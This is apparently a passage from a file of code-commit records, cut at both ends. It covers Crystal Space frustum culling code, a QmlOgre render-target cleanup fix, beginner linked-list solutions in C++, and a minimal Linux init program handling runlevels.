(sphere);\n    const csVector3 &tr_center = tr_sphere.GetCenter ();\n    float radius = tr_sphere.GetRadius ();\n\n    \/\/------\n    \/\/ Test if object is behind the camera plane.\n    \/\/------\n    if (tr_center.z + radius <= 0) return false;\n\n    \/\/------\n    \/\/ Test against far plane if needed.\n    \/\/------\n    csPlane3 *far_plane = ctxt->icamera->GetFarPlane ();\n    if (far_plane)\n    {\n      \/\/ Ok, so this is not really far plane clipping - we just dont draw this\n      \/\/ object if the bounding sphere is further away than the D\n      \/\/ part of the farplane.\n      if (tr_center.z - radius > far_plane->D ()) return false;\n    }\n\n    \/\/------\n    \/\/ Check if we're fully inside the bounding sphere.\n    \/\/------\n    bool fully_inside = csSquaredDist::PointPoint (\n        csVector3 (0),\n        tr_center) <= radius *\n      radius;\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current portal.\n    \/\/------\n    bool outside, inside;\n    if (!fully_inside)\n    {\n      TestSphereFrustumWorld (\n        ctxt,\n        sphere.GetCenter (),\n        radius,\n        inside,\n        outside);\n      if (outside) return false;\n    }\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current plane.\n    \/\/------\n    if (ctxt->do_clip_plane)\n    {\n      \/\/bool mirror = GetCamera ()->IsMirrored ();\n      float dist = ctxt->clip_plane.Classify (tr_center);\n      dist = -dist;\n      if ((-dist) > radius) return false;\n    }\n\n    return true;\n  }\n\n  bool RenderViewClipper::CullBSphere (\n    csRenderContext* ctxt,\n    const csSphere &cam_sphere,\n    const csSphere &world_sphere,\n    int &clip_portal,\n    int &clip_plane,\n    int &clip_z_plane)\n  {\n    float radius = cam_sphere.GetRadius ();\n    float cam_z = cam_sphere.GetCenter ().z;\n\n    \/\/------\n    \/\/ Test if object is behind the camera plane.\n    \/\/------\n    if (cam_z + radius <= 0) return false;\n\n    \/\/------\n    \/\/ Test against far plane if needed.\n    \/\/------\n    csPlane3 *far_plane = ctxt->icamera->GetFarPlane ();\n    if (far_plane)\n    {\n      \/\/ Ok, so this is not really far plane clipping - we just dont draw this\n      \/\/ object if the bounding sphere is further away than the D\n      \/\/ part of the farplane.\n      if (cam_z - radius > far_plane->D ()) return false;\n    }\n\n    \/\/------\n    \/\/ Check if we're fully inside the bounding sphere.\n    \/\/------\n    bool fully_inside = csSquaredDist::PointPoint (\n          csVector3 (0), cam_sphere.GetCenter ()) <= radius * radius;\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current portal.\n    \/\/------\n    bool outside, inside;\n    if (fully_inside)\n    {\n      clip_portal = CS_CLIP_NEEDED;\n    }\n    else\n    {\n      TestSphereFrustumWorld (\n        ctxt,\n        world_sphere.GetCenter (),\n        radius,\n        inside,\n        outside);\n      if (outside)\n        return false;\n      if (!inside)\n        clip_portal = CS_CLIP_NEEDED;\n      else\n        clip_portal = CS_CLIP_NOT;\n    }\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to the z-plane.\n    \/\/------\n    if (cam_z - radius > 0)\n      clip_z_plane = CS_CLIP_NOT;\n    else\n      clip_z_plane = CS_CLIP_NEEDED;\n\n    \/\/------\n    \/\/ Test if there is a chance we must clip to current plane.\n    \/\/------\n    clip_plane = CS_CLIP_NOT;\n    if (ctxt->do_clip_plane)\n    {\n      float dist = ctxt->clip_plane.Classify (cam_sphere.GetCenter ());\n      dist = -dist;\n      if ((-dist) > radius)\n        return false;\n      else if (dist <= radius)\n        clip_plane = CS_CLIP_NEEDED;\n    }\n\n    return true;\n  }\n\n  bool RenderViewClipper::CullBBox (\n    const csRenderContext* ctxt,\n    const csPlane3* planes,\n    uint32& frustum_mask,\n    const csBox3 &obox,\n    int &clip_portal,\n    int &clip_plane,\n    int &clip_z_plane)\n  {\n    uint32 outClipMask;\n    if (!csIntersect3::BoxFrustum (obox, planes, frustum_mask, outClipMask))\n      return false;\t\/\/ Not visible.\n    frustum_mask = outClipMask;\n\n    if (outClipMask & 0xf)\n      clip_portal = CS_CLIP_NEEDED;\n    else\n      clip_portal = CS_CLIP_NOT;\n\n    if (outClipMask & 0x10)\n      clip_z_plane = CS_CLIP_NEEDED;\n    else\n      clip_z_plane = CS_CLIP_NOT;\n\n    \/\/ Only if we really need an exact clip plane will we set clip_plane\n    \/\/ to needed (depending on frustum mask).\n    if (ctxt->do_clip_plane && (outClipMask & 0x20))\n      clip_plane = CS_CLIP_NEEDED;\n    else\n      clip_plane = CS_CLIP_NOT;\n\n    return true;\n  }\n\n  void RenderViewClipper::SetupClipPlanes (\n      csRenderContext* ctxt,\n      const csReversibleTransform& tr_o2c,\n      csPlane3* planes, uint32& frustum_mask)\n  {\n    csMatrix3 t2o = tr_o2c.GetT2O();\n    csVector3 o2tmult = tr_o2c.GetO2T () * tr_o2c.GetO2TTranslation ();\n    uint32 camMask;\n    const csPlane3* frust = ctxt->icamera->GetVisibleVolume (camMask);\n    frustum_mask = 0;\n    uint i;\n    for (i = 0; (1 << i) <= camMask; i++)\n    {\n      if (!(camMask & (1 << i))) continue;\n      frustum_mask |= (1 << i);\n      planes[i] = tr_o2c.This2Other (frust[i]);\n    }\n    csPlane3 pznear = ctxt->clip_plane;\n    pznear.Invert ();\n    planes[i] = tr_o2c.This2Other (pznear);\n    frustum_mask |= (1 << i);\n  }\n\n  void RenderViewClipper::SetupClipPlanes (csRenderContext* ctxt)\n  {\n    SetupClipPlanes (ctxt, ctxt->icamera->GetTransform (), ctxt->clip_planes,\n      ctxt->clip_planes_mask);\n  }\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * \\copyright (c) Nokia Corporation and\/or its subsidiary(-ies) (qt-info@nokia.com) and\/or contributors\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n *\n * \\license{This source file is part of QmlOgre abd subject to the BSD license that is bundled\n * with this source code in the file LICENSE.}\n *\/\n\n#include <RenderSystems\/GL\/OgreGLTexture.h>\n#include <RenderSystems\/GL\/OgreGLFrameBufferObject.h>\n#include <RenderSystems\/GL\/OgreGLFBORenderTexture.h>\n\n#include \"ogrenode.h\"\n\n#include <Ogre.h>\n\n#include <QtCore\/QCoreApplication>\n#include <QtCore\/QDir>\n#include <QSurfaceFormat>\n#include <QOpenGLContext>\n#include <QOpenGLFunctions>\n\nOgreNode::OgreNode()\n    : QSGGeometryNode()\n    , m_geometry(QSGGeometry::defaultAttributes_TexturedPoint2D(), 4)\n    , m_texture(0)\n    , m_ogreEngineItem(0)\n    , m_camera(0)\n    , m_renderTarget(0)\n    , m_viewport(0)\n    , m_window(0)\n    , m_ogreFboId(0)\n    , m_dirtyFBO(false)\n{\n    setMaterial(&m_material);\n    setOpaqueMaterial(&m_materialO);\n    setGeometry(&m_geometry);\n    setFlag(UsePreprocess);\n}\n\nOgreNode::~OgreNode()\n{\n    if (m_renderTarget) {\n        m_renderTarget->removeAllViewports();\n    }\n}\n\nvoid OgreNode::setOgreEngineItem(OgreEngine *ogreRootItem)\n{\n    m_ogreEngineItem = ogreRootItem;\n}\n\nvoid OgreNode::doneOgreContext()\n{\n    if (m_ogreFboId != 0)\n    {\n        Ogre::GLFrameBufferObject *ogreFbo = NULL;\n        m_renderTarget->getCustomAttribute(\"FBO\", &ogreFbo);\n        Ogre::GLFBOManager *manager = ogreFbo->getManager();\n        manager->unbind(m_renderTarget);\n    }\n\n    m_ogreEngineItem->doneOgreContext();\n}\n\nvoid OgreNode::activateOgreContext()\n{\n    m_ogreEngineItem->activateOgreContext();\n    m_ogreEngineItem->ogreContext()->functions()->glBindFramebuffer(GL_FRAMEBUFFER_EXT, m_ogreFboId);\n}\n\nGLuint OgreNode::getOgreFboId()\n{\n    if (!m_renderTarget)\n        return 0;\n\n    Ogre::GLFrameBufferObject *ogreFbo = 0;\n    m_renderTarget->getCustomAttribute(\"FBO\", &ogreFbo);\n    Ogre::GLFBOManager *manager = ogreFbo->getManager();\n    manager->bind(m_renderTarget);\n\n    GLint id;\n    glGetIntegerv(GL_FRAMEBUFFER_BINDING, &id);\n\n    return id;\n}\n\nvoid OgreNode::preprocess()\n{\n    activateOgreContext();\n    m_renderTarget->update(true);\n    doneOgreContext();\n}\n\nvoid OgreNode::update()\n{\n    if (m_dirtyFBO) {\n        activateOgreContext();\n        updateFBO();\n        m_ogreFboId = getOgreFboId();\n        m_dirtyFBO = false;\n        doneOgreContext();\n    }\n}\n\nvoid OgreNode::updateFBO()\n{\n    if (m_renderTarget)\n        Ogre::TextureManager::getSingleton().remove(\"RttTex\");\n\n    int samples = m_ogreEngineItem->ogreContext()->format().samples();\n    m_rttTexture = Ogre::TextureManager::getSingleton().createManual(\"RttTex\",\n                                                                    Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n                                                                    Ogre::TEX_TYPE_2D,\n                                                                    m_size.width(),\n                                                                    m_size.height(),\n                                                                    0,\n                                                                    Ogre::PF_R8G8B8A8,\n                                                                    Ogre::TU_RENDERTARGET, 0, false,\n                                                                    samples);\n\n    m_renderTarget = m_rttTexture->getBuffer()->getRenderTarget();\n\n    m_renderTarget->addViewport(m_camera);\n    m_renderTarget->getViewport(0)->setClearEveryFrame(true);\n    m_renderTarget->getViewport(0)->setBackgroundColour(Ogre::ColourValue::Black);\n    m_renderTarget->getViewport(0)->setOverlaysEnabled(false);\n\n    Ogre::Real aspectRatio = Ogre::Real(m_size.width()) \/ Ogre::Real(m_size.height());\n    m_camera->setAspectRatio(aspectRatio);\n\n    QSGGeometry::updateTexturedRectGeometry(&m_geometry,\n                                            QRectF(0, 0, m_size.width(), m_size.height()),\n                                            QRectF(0, 0, 1, 1));\n\n    Ogre::GLTexture *nativeTexture = static_cast<Ogre::GLTexture *>(m_rttTexture.get());\n\n    delete m_texture;\n    m_texture = m_ogreEngineItem->createTextureFromId(nativeTexture->getGLID(), m_size);\n\n    m_material.setTexture(m_texture);\n    m_materialO.setTexture(m_texture);\n}\n\nvoid OgreNode::setSize(const QSize &size)\n{\n    if (size == m_size)\n        return;\n\n    m_size = size;\n    m_dirtyFBO = true;\n    markDirty(DirtyGeometry);\n}\n<commit_msg>Added detaching of m_renderTarget on OgreNode destruction.<commit_after>\/*!\n * \\copyright (c) Nokia Corporation and\/or its subsidiary(-ies) (qt-info@nokia.com) and\/or contributors\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n *\n * \\license{This source file is part of QmlOgre abd subject to the BSD license that is bundled\n * with this source code in the file LICENSE.}\n *\/\n\n#include <RenderSystems\/GL\/OgreGLTexture.h>\n#include <RenderSystems\/GL\/OgreGLFrameBufferObject.h>\n#include <RenderSystems\/GL\/OgreGLFBORenderTexture.h>\n\n#include \"ogrenode.h\"\n\n#include <Ogre.h>\n\n#include <QtCore\/QCoreApplication>\n#include <QtCore\/QDir>\n#include <QSurfaceFormat>\n#include <QOpenGLContext>\n#include <QOpenGLFunctions>\n\nOgreNode::OgreNode()\n    : QSGGeometryNode()\n    , m_geometry(QSGGeometry::defaultAttributes_TexturedPoint2D(), 4)\n    , m_texture(0)\n    , m_ogreEngineItem(0)\n    , m_camera(0)\n    , m_renderTarget(0)\n    , m_viewport(0)\n    , m_window(0)\n    , m_ogreFboId(0)\n    , m_dirtyFBO(false)\n{\n    setMaterial(&m_material);\n    setOpaqueMaterial(&m_materialO);\n    setGeometry(&m_geometry);\n    setFlag(UsePreprocess);\n}\n\nOgreNode::~OgreNode()\n{\n    if (m_renderTarget) {\n        m_renderTarget->removeAllViewports();\n    }\n\n    if (Ogre::Root::getSingletonPtr()) {\n        Ogre::Root::getSingletonPtr()->detachRenderTarget(m_renderTarget);\n    }\n}\n\nvoid OgreNode::setOgreEngineItem(OgreEngine *ogreRootItem)\n{\n    m_ogreEngineItem = ogreRootItem;\n}\n\nvoid OgreNode::doneOgreContext()\n{\n    if (m_ogreFboId != 0)\n    {\n        Ogre::GLFrameBufferObject *ogreFbo = NULL;\n        m_renderTarget->getCustomAttribute(\"FBO\", &ogreFbo);\n        Ogre::GLFBOManager *manager = ogreFbo->getManager();\n        manager->unbind(m_renderTarget);\n    }\n\n    m_ogreEngineItem->doneOgreContext();\n}\n\nvoid OgreNode::activateOgreContext()\n{\n    m_ogreEngineItem->activateOgreContext();\n    m_ogreEngineItem->ogreContext()->functions()->glBindFramebuffer(GL_FRAMEBUFFER_EXT, m_ogreFboId);\n}\n\nGLuint OgreNode::getOgreFboId()\n{\n    if (!m_renderTarget)\n        return 0;\n\n    Ogre::GLFrameBufferObject *ogreFbo = 0;\n    m_renderTarget->getCustomAttribute(\"FBO\", &ogreFbo);\n    Ogre::GLFBOManager *manager = ogreFbo->getManager();\n    manager->bind(m_renderTarget);\n\n    GLint id;\n    glGetIntegerv(GL_FRAMEBUFFER_BINDING, &id);\n\n    return id;\n}\n\nvoid OgreNode::preprocess()\n{\n    activateOgreContext();\n    m_renderTarget->update(true);\n    doneOgreContext();\n}\n\nvoid OgreNode::update()\n{\n    if (m_dirtyFBO) {\n        activateOgreContext();\n        updateFBO();\n        m_ogreFboId = getOgreFboId();\n        m_dirtyFBO = false;\n        doneOgreContext();\n    }\n}\n\nvoid OgreNode::updateFBO()\n{\n    if (m_renderTarget)\n        Ogre::TextureManager::getSingleton().remove(\"RttTex\");\n\n    int samples = m_ogreEngineItem->ogreContext()->format().samples();\n    m_rttTexture = Ogre::TextureManager::getSingleton().createManual(\"RttTex\",\n                                                                    Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n                                                                    Ogre::TEX_TYPE_2D,\n                                                                    m_size.width(),\n                                                                    m_size.height(),\n                                                                    0,\n                                                                    Ogre::PF_R8G8B8A8,\n                                                                    Ogre::TU_RENDERTARGET, 0, false,\n                                                                    samples);\n\n    m_renderTarget = m_rttTexture->getBuffer()->getRenderTarget();\n\n    m_renderTarget->addViewport(m_camera);\n    m_renderTarget->getViewport(0)->setClearEveryFrame(true);\n    m_renderTarget->getViewport(0)->setBackgroundColour(Ogre::ColourValue::Black);\n    m_renderTarget->getViewport(0)->setOverlaysEnabled(false);\n\n    Ogre::Real aspectRatio = Ogre::Real(m_size.width()) \/ Ogre::Real(m_size.height());\n    m_camera->setAspectRatio(aspectRatio);\n\n    QSGGeometry::updateTexturedRectGeometry(&m_geometry,\n                                            QRectF(0, 0, m_size.width(), m_size.height()),\n                                            QRectF(0, 0, 1, 1));\n\n    Ogre::GLTexture *nativeTexture = static_cast<Ogre::GLTexture *>(m_rttTexture.get());\n\n    delete m_texture;\n    m_texture = m_ogreEngineItem->createTextureFromId(nativeTexture->getGLID(), m_size);\n\n    m_material.setTexture(m_texture);\n    m_materialO.setTexture(m_texture);\n}\n\nvoid OgreNode::setSize(const QSize &size)\n{\n    if (size == m_size)\n        return;\n\n    m_size = size;\n    m_dirtyFBO = true;\n    markDirty(DirtyGeometry);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nListNode* reverse(ListNode *A) {\n\tif (A == NULL) {\n\t\treturn NULL;\n\t}\n\telse {\n\t\tListNode *temp, *prev, *next;\n\t\ttemp = A;\n\t\tprev = NULL;\n\t\twhile(temp!=NULL) {\n\t\t\tnext = temp->next;\n\t\t\ttemp->next = prev;\n\t\t\tprev = temp;\n\t\t\ttemp = next;\n\t\t}\n\t\tA = prev;\n\t\treturn A;\n\t}\n}\n\nint Solution::lPalin(ListNode* A) {\n\tstack\t<int> s;\n\tListNode *temp = A;\n\twhile(temp!=NULL) {\n\t\ts.push(temp->val);\n\t\ttemp = temp->next;\n\t}\n\ttemp = A;\n\twhile(temp!=NULL) {\n\t\tif(s.top() !=  temp->val) {\n\t\t\treturn 0;\n\t\t}\n\t\ts.pop();\n\t\ttemp = temp->next;\n\t}\n\treturn 1;\n}\n\n\nListNode* Solution::deleteDuplicates(ListNode* A) {\n\tListNode *temp,*prev;\n\tunordered_map<int, int> m;\n\ttemp = A;\n\tprev = NULL;\n\twhile(temp!=NULL) {\n\t\tif(m.find(temp->val) != m.end()) {\n\t\t\tm[temp->val]++;\n\t\t}\n\t\telse {\n\t\t\tm[temp->val] = 1;\n\t\t}\n\t\ttemp = temp->next;\n\t}\n\tListNode *head = NULL;\n\tListNode *temp2;\n\ttemp = A;\n\twhile(temp!=NULL) {\n\t\tif(m[temp->val] == 1) {\n\t\t\tif(head == NULL) {\n\t\t\t\ttemp2 = (ListNode *)malloc(1*sizeof(ListNode));\n\t\t\t\ttemp2->val = temp->val;\n\t\t\t\ttemp2->next = NULL;\n\t\t\t\thead = temp2;\n\t\t\t}\n\t\t\telse {\n\t\t\t\ttemp2->next = (ListNode *)malloc(1*sizeof(ListNode));\n\t\t\t\ttemp2->next->val = temp->val;\n\t\t\t\ttemp2 = temp2->next;\n\t\t\t\ttemp2->next = NULL;\n\t\t\t}\n\t\t}\n\t\ttemp = temp->next;\n\t}\n\treturn head;\n}\n\n\nint main() {\n\treturn 0;\n}<commit_msg>linkedlist remove nth from end<commit_after>#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nListNode* reverse(ListNode *A) {\n\tif (A == NULL) {\n\t\treturn NULL;\n\t}\n\telse {\n\t\tListNode *temp, *prev, *next;\n\t\ttemp = A;\n\t\tprev = NULL;\n\t\twhile(temp!=NULL) {\n\t\t\tnext = temp->next;\n\t\t\ttemp->next = prev;\n\t\t\tprev = temp;\n\t\t\ttemp = next;\n\t\t}\n\t\tA = prev;\n\t\treturn A;\n\t}\n}\n\nint Solution::lPalin(ListNode* A) {\n\tstack\t<int> s;\n\tListNode *temp = A;\n\twhile(temp!=NULL) {\n\t\ts.push(temp->val);\n\t\ttemp = temp->next;\n\t}\n\ttemp = A;\n\twhile(temp!=NULL) {\n\t\tif(s.top() !=  temp->val) {\n\t\t\treturn 0;\n\t\t}\n\t\ts.pop();\n\t\ttemp = temp->next;\n\t}\n\treturn 1;\n}\n\n\nListNode* Solution::deleteDuplicates(ListNode* A) {\n\tListNode *temp,*prev;\n\tunordered_map<int, int> m;\n\ttemp = A;\n\tprev = NULL;\n\twhile(temp!=NULL) {\n\t\tif(m.find(temp->val) != m.end()) {\n\t\t\tm[temp->val]++;\n\t\t}\n\t\telse {\n\t\t\tm[temp->val] = 1;\n\t\t}\n\t\ttemp = temp->next;\n\t}\n\tListNode *head = NULL;\n\tListNode *temp2;\n\ttemp = A;\n\twhile(temp!=NULL) {\n\t\tif(m[temp->val] > 0) {\n\t\t\tif(head == NULL) {\n\t\t\t\ttemp2 = (ListNode *)malloc(1*sizeof(ListNode));\n\t\t\t\ttemp2->val = temp->val;\n\t\t\t\ttemp2->next = NULL;\n\t\t\t\thead = temp2;\n\t\t\t}\n\t\t\telse {\n\t\t\t\ttemp2->next = (ListNode *)malloc(1*sizeof(ListNode));\n\t\t\t\ttemp2->next->val = temp->val;\n\t\t\t\ttemp2 = temp2->next;\n\t\t\t\ttemp2->next = NULL;\n\t\t\t}\n\t\t}\n\t\ttemp = temp->next;\n\t}\n\treturn head;\n}\n\nListNode* Solution::removeNthFromEnd(ListNode* A, int B) {\n\tListNode *temp, *temp2, *prev;\n\ttemp = A;\n\ttemp2 = A;\n\tint count = 0;\n\twhile(temp) {\n\t\tcount++;\n\t\ttemp = temp->next;\n\t}\n\t\n\tif(count >=  B) {\n\t\ttemp = A;\n\t\tA = temp->next;\n\t\ttemp->next = NULL;\n\t\treturn A;\n\t}\n\telse {\n\t\t\n\t\twhile(B-- > 0) {\n\t\t\ttemp = temp->next;\n\t\t}\n\t\twhile(temp!=NULL) {\n\t\t\ttemp = temp->next;\n\t\t\ttemp2 = temp2->next;\n\t\t\tprev = temp2;\n\t\t\t\n\t\t}\n\t\tprev->next = temp2->next;\n\t\treturn A;\n\t}\n\t\n\t\n}\n\n\nint main() {\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>\/* Little Init by Alexander Richards\n   under MIT; Please compile staticly *\/\n\n\/\/\/TODO:\n\/\/\/\n\n\/\/Include stuff\n\n#include <signal.h>\n#include <iostream>\n#include <cstdlib>\n#include <fcntl.h>\n#include <stdio.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <sys\/reboot.h>\n#include <sstream>\n#include <thread>\n#include <chrono>\n#include <fstream>\n#include <string.h>\n\n#define MAX_BUF 1024\n\n\/\/ #include <time.h>\nusing namespace std;\n\n\/\/ Declare Vars\nint done = 0; \/\/ is init procedure complete?\nint runlevel = 5; \/\/ runlevel, 0 should always be shutdown, default is 5\nstring version = \"little-init v0.3-git\";\nstring rc_script = \"\/etc\/init.d\/rc\";\n\/\/ not the final solution, but its the best thing for now, there are more important things :)\n\n\/\/ https:\/\/www.systutorials.com\/5510\/catching-the-signal-sent-by-kill-in-c-on-linux\/ please don't sue me\nvoid sighandler(int signum, siginfo_t *info, void *ptr) { \/\/ so i can turn it off gracefully for now\n    \tif (signum == SIGTERM) {\n      \t\tsync();\n      \t\treboot(RB_POWER_OFF);\n    \t} else if (signum == SIGHUP) {\n      \t\tsync();\n      \t\treboot(RB_AUTOBOOT);\n    \t}\n}\n\nvoid catch_sig() {\n \tstatic struct sigaction _sigact;\n    \tmemset(&_sigact, 0, sizeof(_sigact));\n   \t_sigact.sa_sigaction = sighandler;\n   \t_sigact.sa_flags = SA_SIGINFO;\n   \tsigaction(SIGTERM, &_sigact, NULL);\n   \tsigaction(SIGHUP, &_sigact, NULL);\n    signal(SIGCHLD, SIG_IGN);\n}\n\/\/END\n\nvoid call_rc(int rl) {\n  if(rl == 9) {\n    system(string(rc_script + string(\" S\")).c_str());\n  } else {\n    system(string(rc_script + string(\" \") + to_string(rl)).c_str());\n  }\n}\n\ninline bool exist(const std::string& name) {\n\tifstream file(name);\n\tif (file.good()) {return true;} else {return false;}\n} \/\/ Simple file checker; This line is probably not required but why not\n\nvoid init() {\n  system(\"mount -a\"); \/\/ just mount everything now\n\tsystem(\"mount -o remount,rw \/\"); \/\/ remount root as rw, just in case its ro\n  signal(SIGCHLD, SIG_IGN);\n  call_rc(9); \/\/ call single user first\n  call_rc(runlevel);\n\tdone = 1;\n\trunlevel = 3; \/\/ still have to implement switching it\n\tif(exist(\"\/etc\/init.d\/shell\")) {\n\t\tpid_t pid = fork();\n\t\tif(pid == 0) { \/\/ if child process, run the \"shell\" symlink, hopefully :)\n\t\t\texecl(\"\/etc\/init.d\/shell\", \"\/etc\/init.d\/shell\", (char*) 0);\n\t\t\tthis_thread::sleep_for(std::chrono::milliseconds(1000));\n      kill(getpid(), SIGKILL);\n\t\t}\n\t}\n}\n\n\n\/\/ Call said functions\nint main(int argc, char** argv) {\n  if(getpid() == 1) {\n\t  cout << version << endl;\n    if(argc != 1) {\n      runlevel = atoi(argv[1]);\n      if(string(argv[1]) == \"s\" || string(argv[1]) == \"S\") {\n        runlevel = 9;\n      }\n    }\n    init();\n    while(true) { \/\/ do stuff\n      if(exist(\"\/tmp\/runlevel\")) {\n        int tmp_runlevel = 0; \/\/ runlevel from \/tmp\/runlevel. default = 0\n        string temp;\n        ifstream file(\"\/tmp\/runlevel\");\n        if(file.is_open()) {\n          getline(file, temp);\n          \/\/ temp should have the runlevel in it. 9 is alias for S\n          if(temp == \"\") {\n            \/\/ nothing, continue\n          } else {\n            tmp_runlevel = stoi(temp);\n            call_rc(tmp_runlevel);\n            runlevel = tmp_runlevel;\n          }\n        }\n        file.close();\n      }\n      this_thread::sleep_for(std::chrono::milliseconds(1000));\n    }\n  } else {\n    \/\/ should be reserved for runlevel changes\n    if(argc == 1) {\n      cout << \"Usage: init <runlevel>\";\n    } else {\n      runlevel = atoi(argv[1]);\n      ofstream file(\"\/tmp\/runlevel\");\n      file << runlevel;\n      file.close();\n    }\n  }\n}\n<commit_msg>Final Commit to v0.3<commit_after>\/* Little Init by Alexander Richards\n   under MIT*\/\n\n\/\/\/TODO:\n\/\/\/ \/run\/initctl fifo compatability\n\n\/\/Include stuff\n#include <signal.h>\n#include <iostream>\n#include <cstdlib>\n#include <fcntl.h>\n#include <stdio.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <sys\/reboot.h>\n#include <sstream>\n#include <thread>\n#include <chrono>\n#include <fstream>\n#include <string.h>\n\n\/\/ #include <time.h>\nusing namespace std;\n\n\/\/ Declare Vars\nint done = 0; \/\/ is init procedure complete?\nint runlevel = 5; \/\/ runlevel, 0 should always be shutdown, default is 5\npid_t shell_pid;\nstring version = \"little-init v0.3\";\nstring rc_script = \"\/etc\/init.d\/rc\";\n\/\/const char* initctl = \"\/run\/initctl\"; \/\/ for later\n\nvoid call_rc(int rl) {\n  if(rl == 9) {\n    system(string(rc_script + string(\" S\")).c_str());\n  } else {\n    system(string(rc_script + string(\" \") + to_string(rl)).c_str());\n  }\n}\n\ninline bool exist(const std::string& name) {\n\tifstream file(name);\n\tif (file.good()) {return true;} else {return false;}\n} \/\/ Simple file checker; This line is probably not required but why not\n\nvoid init() {\n  system(\"mount -a\"); \/\/ just mount everything now\n\tsystem(\"mount -o remount,rw \/\"); \/\/ remount root as rw, just in case its ro\n  signal(SIGCHLD, SIG_IGN); \/\/ make kernel reap zombies automatically\n  call_rc(9); \/\/ call single user first\n  call_rc(runlevel); \/\/ call default runlevel\/set runlevel\n  \/\/mkfifo(initctl, 0666); \/\/ make pipe\n\tdone = 1;\n\tif(exist(\"\/etc\/init.d\/shell\") || runlevel == 9) { \/\/ run a shell if single user\n\t\tpid_t pid = fork();\n\t\tif(pid == 0) { \/\/ if child process, run the \"shell\" symlink, hopefully :)\n\t\t\texecl(\"\/etc\/init.d\/shell\", \"\/etc\/init.d\/shell\", (char*) 0); \/\/ run shell\n\t\t\tthis_thread::sleep_for(std::chrono::milliseconds(1000));\n      kill(getpid(), SIGKILL); \/\/ really should not be here, unless it is not executable, so kill self\n\t\t} else {\n      shell_pid = pid;\n    }\n\t}\n}\n\n\n\/\/ Call said functions\nint main(int argc, char** argv) {\n  if(getpid() == 1) { \/\/ if running as init, do init stuff\n\t  cout << version << endl;\n    if(argc != 1) { \/\/ if runlevel is specified\n      runlevel = atoi(argv[1]);\n      if(string(argv[1]) == \"s\" || string(argv[1]) == \"S\") {\n        runlevel = 9;\n      }\n    }\n    init();\n    while(true) { \/\/ listen for stuff\n      if(exist(\"\/tmp\/runlevel\")) { \/\/ if this file exists, read it and switch to its runlevel\n        int tmp_runlevel = 0; \/\/ runlevel from \/tmp\/runlevel. default = 0\n        string temp;\n        ifstream file(\"\/tmp\/runlevel\");\n        if(file.is_open()) {\n          getline(file, temp);\n          \/\/ temp should have the runlevel in it. 9 is alias for S\n          if(temp == \"\") {\n            \/\/ nothing, continue\n          } else {\n            tmp_runlevel = stoi(temp);\n            call_rc(tmp_runlevel);\n            runlevel = tmp_runlevel;\n          }\n        }\n        file.close();\n      }\n      this_thread::sleep_for(std::chrono::milliseconds(1000)); \/\/ dont use the cpu too much :)\n    }\n  } else {\n    \/\/ not running as init, switch runlevel\n    if(argc == 1) {\n      cout << \"Usage: init <runlevel>\";\n    } else {\n      runlevel = atoi(argv[1]);\n      ofstream file(\"\/tmp\/runlevel\");\n      file << runlevel;\n      file.close();\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*      _______   __   __   __   ______   __   __   _______   __   __\n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\\n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ \/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/\n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/\n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/\n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/\n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/\n *\n * Copyright (c) 2004, 2005, 2006, 2007 Olof Naessn and Per Larsson\n *\n *                                                         Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ 